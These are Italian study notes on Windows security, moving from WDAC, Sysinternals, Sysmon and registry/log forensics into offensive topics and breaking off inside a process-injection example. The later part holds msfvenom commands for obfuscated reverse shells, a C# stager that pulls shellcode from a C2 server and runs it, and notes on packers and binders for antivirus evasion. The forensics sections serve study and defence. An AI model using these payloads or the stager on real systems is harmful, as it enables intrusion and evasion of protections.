WDAC (Windows Defender Application Control) è una funzionalità di sicurezza che consente di controllare quali driver e applicazioni possano essere avviate da un computer windows, controllo di chi avvia un determinato processo, controllo reputazioni del programma, controllo hash di eseguibili malevoli e ecc...

N.B: WDAC non va confuso con Applocker, il WDAC consente un controllo più granulare sul mio pc windows

Vi sono dei metodi di bypass qui

Constrained Language Mode:

Il Constrained Language Mode è un'opzione di sicurezza utilizzata per bloccare totalemente o parzialmente alcune funzionalità di powershell, questà modalità assume 4 valori:

*Modalità*	*Descrizione*
Fullanguage	Modalità standard di PowerShell che permette l'utilizzo completo di tutte le funzionalità
ConstrainedLanguage	Modalità che limita le funzionalità più avanzate di PowerShell, mantenendo la funzionalità base
RestrictedLanguage	Modalità che limita sia le funzionalità avanzate che quelle di base di PowerShell
NoLanguage	Modalità che blocca completamente l'utilizzo di PowerShell

Vi sono alcuni metodi di bypass qui

Note Security:

SAM(Security account manager) database interno che contiene le informazioni dei vari utenti come password, hash e nomi utenti, è utilizzato dal LSA(lsass.exe) per l'autenticazione.

Local group policy utilizzato per le policy di sicurezza dei gruppi.

WMI è un sottosistema di powershell, che fornisce informazioni dettagliate sul sistema operativo, l'hardware, il software e altre risorse del computer per il system monitoring, fa da framework comune perchè presente sulle varie versioni di Windows

Suite SysInternals:

La suite dei sysinternale è una suite ufficiale windows con all'suo interno diversi eseguibili che possono essere utili per approfondire di come stia lavorando il pc cioè: analisi dei processi, analisi del disco rigido, controllo degli autorun, controllo connessione di tipo TCP/UDP e ecc... Possiamo reperire la suite scaricandola dal seguente link o utilizzarli in live dal seguente link.

Installazione suite:

Una volta installata il .zip dal sito linkato sopra, dovremo andare a modificare la variabile d'ambiente del sistema "PATH" in modo che la suite possa essere avviata senza dover ogni volta andare nella cartella contenente i vari tools.

Comandi:

sysdm.cpl #comando per aprire un'estensione del pannello di controllo che permette di modificare le variabili d'ambiente

Avanzate-> Variabili d'ambiente-> Path(Varibili di sistema)-> modifica-> nuovo-> aggiungimamo il path alla cartella contenente la suite-> ok su tutto #passi dettagliati sulle varie voci da seguire per la corretta configurazione

diskmon #comando prova per aprire da cmd diskmon

Utilizzo tramite web:

Abbiamo la possibilità di utilizzare i sysinternals anche tramite web ma per farlo va installato un client webDAV che permette la connessione da remoto ad una macchina e altre configurazioni da apportare alla nostra macchina.

Comandi:

Start-Service WebClient #comando powershell per avviare il client webDAV

control.exe /name Microsoft.NetworkAndSharingCenter #comando per aprire il pannello per le connessioni di rete

Modifica Impostazioni di condivisione avanzate-> attivare individuazioni di rete pubbliche #attivazione della seguente feature

\\live.sysinternals.com\tools\<nome eseguibile> #comando in powershell per aprire l'eseguibile da remoto

File e Dischi:

Utilizzo di eseguibili per l'ispezione e la modifica di file e dischi

SigCheck:

Command line per la verifica di firme inerenti ad un file

Comandi:

sigcheck -u -e C:\Windows\System32 -accepteula #comando per il controllo di file non firmati

Streams:

Eseguibile da command line che permette di vedere il contenuto degli ADS, esistono però dei comandi in powershell che permettono di visionarli, basta solo cliccare qui

Comandi:

streams <path del file> -accepteula #comando per vedere il contenuto degli ADS

SDelete:

Tool per cancellare in maniera sicura un file

Comandi:

sdelete <path del file> -p <num volte da cancellare> #comando per eliminare in maniera sicura

Link per la lista completa degli eseguibili e di cosa fanno

Rete:

Tool per il monitoraggio della rete

TCPView:

Eseguibile che se avviato da un'ottima visiona dei socket in ascolto o delle connessioni stabilite, molto potente se utilizzato con wireshark

Link per la lista completa degli eseguibili e di cosa fanno

Processi:

Eseguibili che permettono il monitoraggio dei processi

Autoruns:

Utility per vedere quali programmi sono configurati per avviarsi quando si fa il login o al momento dell boot del pc

ProcDump:

Tool che permette di fare il dump dei processi per poi analizzare cosa è successo, è possibile fare un fulldump o un minidump.

ProcessMonitor:

Utility che permette di controllare i processi, che operazioni stanno facendo e cosa hanno modificato e il tutto è eseguito tramite dei filtri.

PSExec:

Command line tool che permette di eseguire comandi da remoto, utilizzato per il lateral movements.

PsService:

Utility che permette di ricavare informazioni inerenti ai servizi

Link per la lista completa degli eseguibili e di cosa fanno

Sicurezza:

Eseguibili o command line che danno una visione di insieme sulla sicurezza del computer

Sysmon:

Agent per il monitoring degli endpoint che poi può essere integrato in un SIEM

Comandi:

Sysmon.exe -accepteula -i <configurazione xml> #comando per avviare sysmon con una configurazione xml importata

Visualizzatore di eventi-> Registri applicazione e servizi-> Microsoft-> Windows-> Sysmon-> Operational #passi per vedere gli eventi registrati

Best Practices:

escludere meglio di includere, perchè cosi si è si sicuri di non dimenticarsi qualche evento
Utilizzo della CLI quali Get-WinEvent o wevtutil.exe

Rilevamento:

Piccola sezione dove viene appuntato come rilevare i tool più noti di pentesting

Metasploit:

Una buona pratica per cercare l'utilizzo di metasploit è nelle connessioni aperte come la porta 4444 o 5555 per poi fare un'ulteriore ricerca su ProcessID e Image

Mimikatz:

Il primo passo per rilevare la presenza di Mimikatz può essere nella ricerca di file creati dallo stesso software o che hanno il suo stesso nome, il secondo passo é nel controllo del LSASS, verificare da quali altri processi viene utilizzato e se vi è una numerosa presenza di svchost.exe può essere un campanello di allarme

Link per la lista completa degli eseguibili e di cosa fanno

Informazioni di sistema:

Tool per visionare informazioni di sistema

winObj:

Eseguibile utilizzato per vedere le informazioni degli oggetti NT

Link per la lista completa degli eseguibili e di cosa fanno

Generali:

Utilities per info generali sul sistema

BgInfo:

Utilizzato per scrivere le info generali sul pc avviato

RegJump:

Piccola utility che apre regedit e va direttamente al valore che si cerca

Comandi:

regjump <path valore> -accepteula #comando per andare subito ad un valore

Link per la lista completa degli eseguibili e di cosa fanno

Forense:

Sezione dedicata alla Forense in windows, sapere dove cercare è allo stesso tempo saper imparare per coprire le proprie tracce

FAT e NTFS:

Nel mondo della Forense è fondamentale avere una visione d'insieme su dove noi andiamo a recuperare i dati, quindi conoscere i vari tipi di filesystems utilizzati da windows è importante

FAT:

FAT (File Allocation Table) è una table ma più precisamente un lista collegata di "cluster"(L'unità di storage nel FAT), questa lista contiene: lo stato dei cluster cioè se sono liberi o meno, i puntatori al prossimo cluster.
La grandezza totale del FAT è dato dal numero di bit utilizzati per indirizzare un cluster nella tabella

I 4 tipi di FAT:

FAT12 = 12 bit per cluster-> 2^12 = 4096 cluster indirizzabili-> 512B a 8KB di storage per cluster-> volume massimo supportato 32MB
FAT16 = 16 bit per cluster-> 2^16 = 65536 cluster indirizzabili-> 2KB a 32KB di storage per cluster-> volume massimo supportato 2GB
FAT32 = 28 bit per cluster-> 2^28 = 268,435,456 cluster indirizzabili-> 4KB a 32KB di storage per cluster-> volume massimo supportato 2TB

Questo tipo di filesystem viene utilizzato nelle memorie flash come schede SD

exFAT = 64 bit per cluster-> 2^64 = 18,446,744,073,709,551,616 cluster indirizzabili-> 32MB di storage per cluster-> volume massimo supportato 128P

NTFS:

NTFS (New Technology Filesystem) è il più recente filesystem sviluppato da microsoft e muta di molto rispetto al FAT, in primis già cambia per le dimensioni di storage supportate che sono molto di più, poi abbiamo il "Journaling", cioè un log ($LOGFILE) che tiene traccia di tutte le modifiche ai metadati, abbiamo i controlli all'accesso i quali definiscono il proprietario di un file e i permessi dei vari utenti a quel file, abbiamo poi la possibilità dei backup con le shadow copies, l'ADS, compressione e cifratura.

NTFS piuttosto che avere la File Allocation Table dispone della "Master File Table", una table più complessa rispetto al FAT è un database strutturato che tiene traccia degli oggetti immagazzinati, la "MFT" possiede dei file importanti da un punto di vista forense e sono:

$MFT = MFT è il primo record nel filesystem, contiene poi il VBR (Volume Boot Record) che punta al cluster del MFT infine MFT ha le informazioni sui cluster e quali oggetti contengono
$LOGFILE = file di log che registra le varie modifiche nel NTFS
$UsnJrnl = è anche chiamato change journal perchè tiene conto di tutte le modifiche apportate ai file e il motivo si trova nel $Extent record

Grazie al tool MFT Explorer, andremo a visionare gli MFT files

Comandi:

MFTECmd.exe -f <path di $MFT> --csv <path per salvare il csv> #comando di MFTECmd per analizzare il file $MFT

Registri:

La spiegazione di cosa sono e di quali sono i registri si trova qui

Durante un'acquisizione forense, saremmo in possesso di una copia dell'immagine d'analizzare offline è quindi bene sapere dove e quali registri visionare. La maggior parte dei registri sono collocati in "C:\Windows\System32\Config" e sono:

DEFAULT (HKEY__USERS\DEFAULT)
SAM (HKEY_LOCAL_MACHINE\SAM)
SECURITY (HKEY_LOCAL_MACHINE\SECURITY)
SOFTWARE (HKEY_LOCAL_MACHINE\SOFTWARE)
SYSTEM (HKEY_LOCAL_MACHINE\SYSTEM)

Vi sono poi ulteriori registri che contengono i dati e le informazioni dell'utente i quali sono:

NTUSER.DAT (HKEY_CURRENT_USER) e si trova alla directory ("C:\Users<nome user>")
USRCLASS.DAT (HKEY_CURRENT_USER\Software\CLASSES) e si trova alla directory ("C:\Users<nome user>\AppData\Local\Microsoft\Windows")
File cache, log e backups:

Altri file importanti sono quelli di cache, log e backups che generalmente possiamo trovare in:

Cache = C:\Windows\AppCompat\Programs\Amcache.hve file che salva dati sui programmati avviati
Log = C:\Windows\System32\Config cartella dove possiamo trovare i file log dei registri principali salvati con l'estensione .LOG
Backup = C:\Windows\System32\Config\RegBack cartella con i backup dei registri
Informazioni di sistema e account:
Versione OS:

La versione dell'OS che stiamo analizzando è possibile verificarla alla path "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion"

Current Control Set:

Il current control set è un registro che contiene i dati per la configurazione (Driver,servizi,hardware...) della macchina windows, ne esistono 3 e sono situati in "HKLM\SYSTEM": quando vi è il boot della macchina, windows crea un control set volatile chiamato "HKLM\SYSTEM\CurrentControlSet",è infine possibile vedere la configurazione scelta alle path "SYSTEM\Select\Current" e "SYSTEM\Select\LastKnownGood"

Nome computer:

Il nome del computer è possibile trovarlo nel registro "HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName"

Fuso orario:

Nell'indagine Forense è bene capire qual'è il fuso orario è possiamo scoprirlo alla path "HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation"

Interfacce di rete:

Possiamo scoprire a quella interfaccia di rete si è connessi a questa path "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces" invece per le connessioni di rete passate si può andare qui "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged" e "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Managed" ogni rete sarà contrassegnata da un identificatore univoco "GUID"

Spegnimento del PC:

Alla seguente path "HKLM\SYSTEM\CurrentControlSet\Control\Windows", possiamo verificare quando il pc è stato spento

N.B: Ogni versione di windows modifica la posizione di questo registro

File:

File recenti:

La path dove poter visionare i file aperti in ordine di ultima modifica è "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs" e se vogliamo filtrare per estensione .txt basta aggiungere dopo "\RecentDocs.txt".

Possiamo fare un ulteriore indagine per i file office dove possiamo andare a vederli qui:_

HKCU\Software\Microsoft\Office\VERSION
HCKU\Software\Microsoft\Office<num versione>\Word

link alle versioni di office

HCKU\Software\Microsoft\Office\VERSION\UserMRU\LiveID_####\FileMRU

Un'altro modo per determinare il tipo di file aperto è tramite l lo "ShellBag", cioè le impostazioni di preferenza del layout delle finestre che possono essere trovate alle seguenti path:

HCKU\Software\CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags
HCKU\Software\CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU
HCKU\Software\Microsoft\Windows\Shell\BagMRU
HCKU\Software\Microsoft\Windows\Shell\Bags

N.B: il tool ShellBag explorer può semplificarci la vita

Box dialogo:

Alla seguenti path "HCKU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSavePIDlMRU" e "HCKU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedPidlMRU" è possibile risalire a quale ultimo dialogo di box è stato utilizzato e quindi a quale file o applicazione l'ha chiamato

Ricerche path:

Nei registri alle seguenti path "HCKU\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths" e "HCKU\Software\Microsoft\Windows\CurrentVersion\Explorer\WordWheelQuery" possiamo ricavare le path ricercate dall'utente

File prefetch:

Quando un programma in windows viene avviato crea i file "prefetch", file che raccolgono informazioni per usi futuri tipo caricare l'eseguibile in maniera più rapida; ritornano utili nella forense perchè registrano quante volte l'eseguibile viene aperto, quali file e handle sono utilizzati dall'eseguibile stesso e il tempo dell'ultimo utilizzo

Come al solito Eric Zimmerman metta a disposizione un tool chiamato PECmd.exe che serve a parsare e in seguito vedere i dati dei file .pf

Comandi:

PECmd.exe -f <path per i file prefetch> --csv <path per salvare il .csv> #comando per estrarre i dati dai file .pf e salvarli in un .csv

PECmd.exe -d <path per la cartella> --csv <path per salvare il .csv> #comando per estrarre i dati da una cartella e salvarli in un .csv

Cestino:

Il cestino può essere un ottima fonte di informazioni per capire cosa è stato cancellato, lo si trova in "C:$Recycle.Bin", i file con "$I######" contengono nome originale del file, data di quando è stato cancellato mentre i file con "$R######" contengono il contenuto. Eric mette a disposizione un tool per visionarlo RBCmd.exe

File Cloud:

Possiamo reperire i dettagli degli account cloud di microsoft a questo percorso "HKLM\AM\Domains\Account\Users\InternetUserName", InternetUserName contiene l'email dell'account

Applicazioni:

UserAssist:

Windows tiene traccia delle applicazioni lanciate, il tempo trascorso, e il numero di volte aperto e lo fa per ragioni di statistica però a noi può tornare utile, infatti andando a questa path "HKCU\Software\Microsoft\Windows\Currentversion\Explorer\UserAssist<GUID>\Count" è possibile visionarle

ShimCache:

La ShimCache è un meccanismo che tiene traccia della compatibilità delle applicazioni con l'OS e quando queste vengono lanciate è possibile visionare le info a questa path "HKLM\SYSTEM\urrentControlSet\Control\Session Manager\AppCompatCache" ma per avere una visione migliore dei dati possiamo utilizzare il tool "AppCompatCacheParser" per creare il .csv con i dati ed infine visionarli con il tool "EZViewer"

Comandi:

AppCompatCacheParser.exe --csv <file output> -f <path del registro SYSTEM> -c <controlset> #comando per creare il .csv

AmCache:

AmCache è sempre ricollegabile a ShimCache, in quanto entrambi raccolgono dati sulle applicazioni però AmCache, inoltre immagazzina dati come: path, tempo di esecuzione, SHA1 hash dei programmi eseguiti ecc... Possiamo visionarlo alle seguenti path "C:\Windows\appcompat\Programs\Amcache.hve" dobve è il file .hve e se utilizziamo Registry explorer troviamo l'ultimi programmi eseguiti a questa path "Amcache.hve\Root\File<Volume GUID>"

BAM/DAM:

BAM è il background activity monitor, colui che monitora le applicazioni in background mentre DAM è Desktop Activity Moderator colui addetto all'ottimizzazione dei consumi del device, entrambi i meccanismi tengono conto delle informazioni riguardanti le ultime applicazioni runnate e possiamo visionarle alle seguenti path "HKLM\SYSTEM\CurrentControlSet\Services\bam\UserSettings<SID>" e "HKLM\SYSTEM\CurrentControlSet\Services\dam\UserSettings<SID>"

Windows 10 timeline:

Windows 10 registra le applicazioni utilizzate di recente in un sqlite database chiamato "Windows 10 Timeline" e si trova alla seguente path "C:\Users<nome utente>\AppData\Local\ConnectedDevicesPlatform<cartella casuale>ActivitiesCache.db" e tramite il tool WxTCmd.exe possiamo vederlo

Comandi:

WxTCmd.exe -f <path al file timeline> --csv <path per salvare il csv> #comando che dato il file timeline estrae i dati e li salva in un .csv

Task Bar:

Possiamo reperire dal seguente registro "HCKU\Software\CLASSES\Software\Microsoft\Windows\CurrentVersion\Explorer\FeatureUsage" e più specificatamente alle due subkey "AppLaunch (registra solo le applicazioni aggiunge alla taskbar)" e AppSwitched (conta il numero delle volte che l'utente interagisce con un'applicazione) le applicazioni con cui interagisce l'utente però vi sono delle limitazioni: il registro tiene conto solo dei software con GUI e non vi sono informazioni sul timestamp

Windows jump lists:

le windows jump lists vennero introdotte per aiutare gli utenti ad accedere in maniera più diretta ai file utilizzati di recente è possibile visionarle alla seguente path "C:\Users<nome utente>\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations", tramite il tool JLECmd.exe

Comandi:

JLECmd.exe -f <path alla jumplist file> --csv <path per salvare il csv> #comando che prende i dati da un jumplist file e li salva in un .csv

Collegamenti:

I collegamenti, contengono informazioni sulla prima e ultima apertura di un file, la path del file o eseguibile ed è possibile visionarli alle seguenti path "C:\Users<nome utente>\AppData\Roaming\Microsoft\Windows\Recent" e "C:\Users<nome utente>\AppData\Roaming\Microsoft\Office\Recent" e come al solito abbiamo il tool per visionarlo il quale è LECmd.exe

Comandi:

LECmd.exe -f <path agli shortcut file> --csv <path per salvare il .csv> #comando che dato uno shortcut file crea un .csv con i dati

MRU (Most Recent Used):

MRU tiene traccia delle applicazione utilizzate dall'utente e della posizione della cartella dell'ultimo file a cui l'applicazione ha acceduto è possibile visualizzarlo alla seguente path HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedPidlMRU

Inoltre sempre tramite MRU è possibile tenere traccia dei file aperti o salvati all'interno di una finestra di dialogo, path: "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSavePIDlMRU"

CapabilityAccessManager:

Qui viene registrato l'uso del microfono, fotocamera e altre impostazioni, possiamo vederlo a queste path: "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore" e "HKCU\Software\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore"

Log:

Il conoscere quali sono e dove andare a vederli è importante per avere un quadro generale su cosa è successo ad una macchina

Possiamo riconoscre i file di log perchè sono salvati con l'estensione ".evt" o ".evtx" e li troviamo tipicamente alla path "C:\Windows\System32\winevt\Logs"

Event Viewer:

event viewer è il software integrato in windows che permette la visione dei log, lo stesso software divide i log in diversi gruppi per semplificarne la ricerca e visualizzazione, le tipologia sono:

Log di sistema = Log del sistema operativo windows
Log di sicurezza = Log inerenti al logon e logoff nel device o i diversi eventi di sicurezza
Log applicazioni = Log delle applicazioni quando vi sono eventi, crash o warnings
Directory Service Events = Log dell'Active Directory più specificatamente per i domain controller
Log di DNS = Log per gli eventi DNS
Log personalizzati = Log utilizzati dalle applicazioni che richiedono più memoria

wevtutil.exe:

wevtutil.exe o Windows Events Commandline Utility permette di automatizzare il processo di visionare le miriade di log presenti in un PC con diverse tipologia di comandi

Comandi:

wevtutil.exe export-log <tipologia di eventi> <path dove salvare in .XML> #comando per esportare un file log

wevtutil.exe query-log <tipologia di eventi> --filter "<filtro query>" --output-format:xml #comando per fare una query su una tipologia di eventi

wevtutil.exe clear-log <tipologia di eventi> #comando che permette di ripulire una tipologia di eventi

wevtutil.exe get-log <tipologia di eventi> #comando per ottenere maggiori info su una tipologia di eventi

wevtutil.exe set-log <tipologia di eventi> /level:<tipologia di registrazione> /maxsize:<dimensione log> #comando che imposta alcune opzioni su una data tipologia di eventi

Get-WinEvent:

Comando powershell che permette di automatizzare il processo di visione dei log

Comandi:

Get-WinEvent -ListLog * #comando che recupera tutti i log

Get-WinEvent -ListProvider * #comando che recupera i nome dei provider dei log

Get-WinEvent -LogName <nome> | Where-Object { $_.ProviderName -Match 'WSMan' } #comando che filtra i log

XPath:

XPath (XML Path Language) è un linguaggio per navigare ed interrogare i documenti scritti in XML

Quando si utilizza Event Viewer cliccando su evento, poi andando in dettagli e cliccando XML potremmo notare il medesimo evento scritto in XML e potrà essere utilizzato per le nostre XPath queries

ES:

<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> #Event o * indica l'inizio del XML
<System> #campo utilizzato per il filtraggio dei parametri dentro System
<Provider Name="HP Comm Recovery" /> #campo per il filtraggio tramite nome del Provider Name
<EventID Qualifiers="0">1</EventID> #campo per il filtraggio nel comando tramite il numero dell'event ID
<Version>0</Version> 
<Level>4</Level> 
<Task>0</Task> 
<Opcode>0</Opcode> 
<Keywords>0x80000000000000</Keywords> 
<TimeCreated SystemTime="2023-08-31T20:03:39.3352531Z" /> 
<EventRecordID>7684</EventRecordID> 
<Correlation /> 
<Execution ProcessID="5884" ThreadID="0" /> 
<Channel>Application</Channel> 
<Computer>alessandro</Computer> 
<Security /> 
</System>
<EventData> #campo utilizzato per il filtraggio dei parametri dentro EventData
<Data>Resume from Connected Standby</Data> 
</EventData>
</Event>`

Comando esempio XPath dall'evento xml sopra:

Get-WinEvent -LogName <tipologia nome evento> -FilterXPath '*/System/EventID=<num evento> or /Provider[@Name="<nome provider>"]'

Un ottimo programma di logging è Sysmon, preinstallato in windows

Device Esterni:

USB:

Tramite i registri è possibile risalire a diverse informazioni inerenti i device USB alle seguenti path:

HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR o \USB è possibile reperire ID vendor, ID prodotto, versione USB
SYSTEM\CurrentControlSet\Enum\USBSTOR\Ven_Prod_Version\USBSerial#\Properties<id usb>---- al posto dei "----" possono esserci i numeri 0064 (Tempo prima connessione), 0066(tempo ultima connessione) e 0067 (tempo ultima rimozione)
HKLM\SOFTWARE\Microsoft\Windows Portable Devices\Devices qui possiamo trovare i nomi

Possiamo reperire anche alla seguente path "C:\Windows\inf\setupapi.dev.log" diverse informazioni sul device USB

Tools:

Parte fondamentale nella forense oltre a chi investiga, lo sono i tool quali:

Acquisizione:

Generali:

N.B: I tool sviluppati da Eric Zimmerman's sono gratuiti e molto utili

Shellcode:

Shellcode è un'insieme di istruzioni macchina volte nella maggior parte dei casi ad ottenere una shell privilegiata o una revshell, viene utilizzato in payload malevoli, in exploit e negli stessi malware.

Esempio di shellcode:

Il nostro primo shellcode, non è altro che una stringa che compare a schermo e poi esce dal programma

Codice:

global _start

section .text
_start:
jmp MESSAGE #inizio del programma che salta a message

GOBACK:
mov rax, 0x1 #istruzione che carica il valore 1 nel registro RAX (utilizzato per specificare le syscall) indicando write
mov rdi, 0x1 #istruzione che il valore 1 nel registro RDI (utilizzato per il file descriptor) 1 è uguale a quello di output
pop rsi #istruzione che toglie l'indirizzo di goback e lo salva nel registro RSI
mov rdx, 0xd #istruzione che carica il valore 13 nel registro RDX (utilizzato per definire la lunghezza dei dati)
syscall #istruzione che effettua la syscall write

mov rax, 0x3c #istruzione che copia il valore 60 nel registro RAX (60 è uguale a exit)
mov rdi, 0x00 #istruzione che carica il valore 0 nel registro RDI che specifica l'uscita senza errori
syscall #istruzione che effetua la syscall exit

MESSAGE:
call GOBACK #chiamata alla funzione Goback quindi 
db "Hello World!", 0dh, 0ah #istruzione che definisce dei byte (define bytes) con la stringa 0dh = \r oah = \n

Comandi:

nasm -f elf64 <nome script>asm #comando per compilare lo script

ld <nome eseguibile>o -o <nome eseguibile> #comando per linkare e preparare l'eseguibile

./<nome eseguibile> #comando per eseguirlo

objcopy -j .text -O binary <nome eseguibile> <nome testo>.text #comando per estrarre .text section in binario

xxd -i <nome testo>.text #comando per cambiare il binario in esadecimale

Ora basterà prendere l'array di byte in C e inserirlo in un semplice programma per vedere che il tutto funzionerà

Generazione di shellcode:

Esistono diversi C2 o lo stesso metasploit che permettono di generare degli shellcode in maniera automatica

Comandi:

msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c #comando che genera uno shellcode di una calcolatrice in C

msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f raw #comando che genera uno shellcode di una calcolatrice in formato raw

Stageless vs Staged:

Un payload stageless, significa che il payload stesso ha tutto in un solo eseguibile e quindi si avvierà subito

Vantaggi:

Il payload verrà eseguito senza aprire ulteriori connessioni di rete quindi meno interazioni meno sono le possibilità di essere rilevati
Nel caso di internet lento non c'è problema, l'intero payload funzionerà da un solo eseguibile che si trova sulla macchina target.

Un payload Staged invece all'inizio del attacco manda un piccolo eseguibile alla target machine in un secondo momento ricontatta il C2 che contine il resto da scaricare

Vantaggi:

poche traccie sul disco in quanto abbiamo solo il payload inziale mentre il resto del payload va in RAM, andando in RAM quindi vi è meno probabilità di essere rintracciati da AV
si può riutilizzare lo stesso payload per altri attacchi

N.B: Metasploit permette di crearli, per vedere come andare qui

Esempio di stager:

using System;
using System.Net; 
using System.Text;
using System.Runtime.InteropServices;
using System.Configuration.Install
#importing delle librerie

public class program {
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
#codice per importare la funzione VirtualAlloc, serve a riservarci uno spazio di memoria per il nostro stager

[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref 
UInt32 lpThreadId);
#codice per importare la funzione CreateThread, serve a creare un thread per il nostro processo

[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
#codice per importare la funzione WaitForSingleObject, serve per la sincronizzazione tra thread

private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

WebClient wc = new WebClient(); #creazione dell'oggeto webclient che permette le connessione con il nostro C2
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; #comando per accettare il certificato self-signed
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; #comando che stabilisce il tipo di protocollo

public static void main(){
string url = "<url del C2>";
stager(); #comando per passare alla seconda funzione
}

public static void stager(){

byte[] shellcode = wc.DownloadData(url); #comando per fare il download dei dati passandogli l'url
UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
#comando che alloca memoria per il nostro shellcode

0 #indica l'indirizzo iniziale di memoria dove allocare lo shellcode, con 0 indica che SO può fare autonomamente
(UInt32)shellcode.Length #indica la grandezza di memoria d'allocare
MEM_COMMIT #indica di riservare della memoria
PAGE_EXECUTE_READWRITE #permessi di accesso alla memoria in questo caso execute read e write

Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length); #comando che copia il payload nella memoria allocata codeAddr

IntPtr threadHandle = IntPtr.Zero; #linea che inizializza una variabile di nome threadHandle, IntPtr.Zero rappresenta un handle dei thread
UInt32 threadId = 0; #identificatore del thread
IntPtr parameter = IntPtr.Zero; #parametro nullo
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId); #comando che crea un thread all'interno del processo corrente

0 = primo parametro indica un comportamento del thread ma a zero non succede nulla
0 = secondo parametro dimensione del thread ma a zero fa in automatico SO
codeAddr = terzo parametro che indica l'indirizzo dove è presente il codice del thread da eseguire
parameter = quarto parametro è vuoto
0 = quinto parametro che settato a 0 indica che il thread deve iniziare subito
threadId = sesto paramtro id del thread

WaitForSingleObject(threadHandle, 0xFFFFFFFF); #comando che segnala il periodo di attesa al programma

threadHandle = primo parametro che è l'handle influenzato
0xFFFFFFFF = secondo parametro periodo d'attesa che essendo a FFFFFFFF, il programma deve attendere finchè il thread non finisca
   }
}

Comandi:

openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365 #comando per generare certificato ssl/tls selfsigned

Invece per poi avviare il webserver in HTTPS è possibile utilizzare questo mio script scaricabile qui

https_server -c <cert.pem> -k <key.pem> #comando che starta il webserver in https

Encoding e Encryption:

Encoding e Encryption vengono applicate ad uno shellcode per obfuscarlo, in modo che non sia del tutto in chiaro e rilevabile dagli AV, Metasploit mette a disposizione dei moduli per le 2 tecniche

Comandi:

msfvenom --list encoders | grep excellent #comando per greppare gli encoders con rating excellent

msfvenom -a x86 --platform Windows LHOST=<ip> LPORT=<porta> -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f csharp
#comando per generare una revshell in C# encodato

msfvenom --list encrypt #comando per listare i vari metodi di encryption

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=<porta> -f exe --encrypt xor --encrypt-key "<chiave decriptazione>" -o <nome 
eseguibile>.exe #comando che genera una revshell criptata

Tool e link per deobfuscare:

PowerDecode, tool per deobfuscare il powershell

Packers:

Il packing è utilizzato dagli sviluppatori per evitare che ad un loro programma venga fatto il reverse enginering e lo fanno tramite l'aggiunta di protezione contro il debbuging

Quando si fa il packing di un programma significa trasformarlo tramite una funzione in un packed, il nuovo packed conterrà il codice obfuscato, per poterlo recuperare va fatta l'operazione inversa con il packer utilizzato

Struttura Packing:

Applicazione----> packer che la impacchetta-----> Applicazione Packed con : entry point e PE header, stub che contiene la funzione unpack(), codice packed dell'applicazione

Struttura Unpacking:

Applicazione Packed----> unpacker che legge il codice packed dell'applicazione-----> unpacker che runna il codice originale in RAM

Packing nel pratico:

In questo esempio utilizziamo il tool ConfuserEx per fare il packing di un nostro eseguibile

Comandi:

Project-> selezioniamo la base directory e sempre sotto clicchiamo il + per aggiungere .exe-> settings tab-> clicchiamo il + e poi selezioniamo la voce packer enable compressor-> torniamo sulla rule facciamo edit e selezioniamo preset maximun-> tab protect e clicchiamo la voce protect #passi per fare il packing di un eseguibile

Software packing:

I software per il packing ne esistono molteplici tipo:

Binders:

I Binders è un'altro tipo di programma utilizzato per il bypassing dell'AV, il binding consiste nel legare insieme due eseguibili in un unico

N.B: i binders comunque non bypassano completamente l'AV perchè basta una firma nota che vengono bloccati, il loro potenziale consiste nel legare uno shellcode malevolo obfuscato o criptato, con un programma legittimo in modo di fregare un utente normale facendogli credere che sia un programma vero

Tecniche di Injection:

DISCLAIMER: Il codice presentato nella seguente sezione "Tecniche di Injection" non è funzionante dal momento che viene illustrato solo per capire e approfondire i concetti illustrati

Shellcode Injection:

Shellcode injection consiste nell'aprire un processo, allocargli della memoria, scrivere il payload nella memoria allocata e tramite un thread remoto eseguirlo

Codice:

processHandle = OpenProcess(
PROCESS_ALL_ACCESS, #campo che definische i diritti del processo
FALSE, #campo che imposta l'ereditarietà a false
DWORD(atoi(argv[1])) #campo che passa il pid del processo tramite input dall'utente
);

remoteBuffer = VirtualAllocEx(
processHandle, #campo che apre il processo con l'handle
